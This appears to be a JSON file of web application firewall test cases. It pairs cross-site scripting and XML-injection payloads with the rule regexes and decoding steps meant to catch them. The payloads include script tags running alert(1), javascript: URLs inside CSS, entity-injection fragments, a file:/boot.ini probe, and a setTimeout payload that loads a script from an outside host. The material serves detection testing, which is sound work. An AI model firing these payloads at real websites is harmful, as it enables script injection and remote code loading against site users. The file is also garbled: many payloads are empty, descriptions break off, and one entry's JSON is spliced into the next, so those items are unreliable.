"attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941110", "test_description": "GH issue 1481" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mime=text/xml&body=%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%20src=%22data:,alert(1)%22%20/%3E" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS in XML Test as described in http://www.client9.com/article/five-interesting-injection-attacks/" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=555-555-0199@example.com'||(select extractvalue(xmltype('%lbsod;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=aai" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=abcd'||(select extractvalue(xmltype('%cgger;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=/active/LFI/LFI-Detection-Evaluation-POST-200Valid/content.ini'||(select extractvalue(xmltype('%grorj;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=afa" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=chj" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=/content.ini'||(select extractvalue(xmltype('%dwusu;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=EmptyValue'||(select extractvalue(xmltype('%awpsd;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=file:/boot.ini'||(select extractvalue(xmltype('%cwtpc;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=Matched Data: %awfke;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=oez" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=(select extractvalue(xmltype('%anwyn;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=2010-01-01'||(select extractvalue(xmltype('%fhklu;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test for 941130" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "q=7XMLNS" } ], "attack_context": { "method": "POST", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "FP test for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=chj" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "XSS test with encoded newline for 941130" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).(?:\\b(?:(?:x(?:link:href|html|mlns)|data:text/html|formaction)\\b|pattern[\\s\\x0b]*=)|(?:!ENTITY[\\s\\x0b]+(?:%[\\s\\x0b]+)?[^\\s\\x0b]+[\\s\\x0b]+(?:SYSTEM|PUBLIC)|@import|;base64)\\b)", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941130", "test_description": "True positive for `pattern` attribute" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=There's a pattern in the dark background. Here's a video: , in ARGS" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%3Cp%20style%3D%22background%3Aurl(javascript%3Aalert(1))%22%3E=941140-2" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[a-z]+=(?:[^:=]+:.+;)*?[^:=]+:url\\(javascript", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls", "removeWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941140", "test_description": "XSS vectors making use of javascript uri and tags, e.g.,

, in ARGS_NAMES" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=x%3Dx%3Aurl%28javascript" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[a-z]+=(?:[^:=]+:.+;)*?[^:=]+:url\\(javascript", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls", "removeWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941140", "test_description": "Status Page Test - x=x:url(javascript as GET variable" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "input=setTimeout(\"top.frame2.location=\"javascript:(function+()+{var+x+=+document.createElement(\\\\\"script\\\\\");x.src+=+\\\\\"//sdl.me/popup.js?//\\\\\";document.childNodes\\\\[0\\\\].appendChild(x);}());\"\",1000)&//" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*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z]*?t[^0-9A-Z_a-z]*?e)|p[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?m|i?[^0-9A-Z_a-z]*?f[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?e|b[^0-9A-Z_a-z]*?(?:a[^0-9A-Z_a-z]*?s[^0-9A-Z_a-z]*?e|o[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?y|i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?s)|i[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?a?[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?e?|v[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e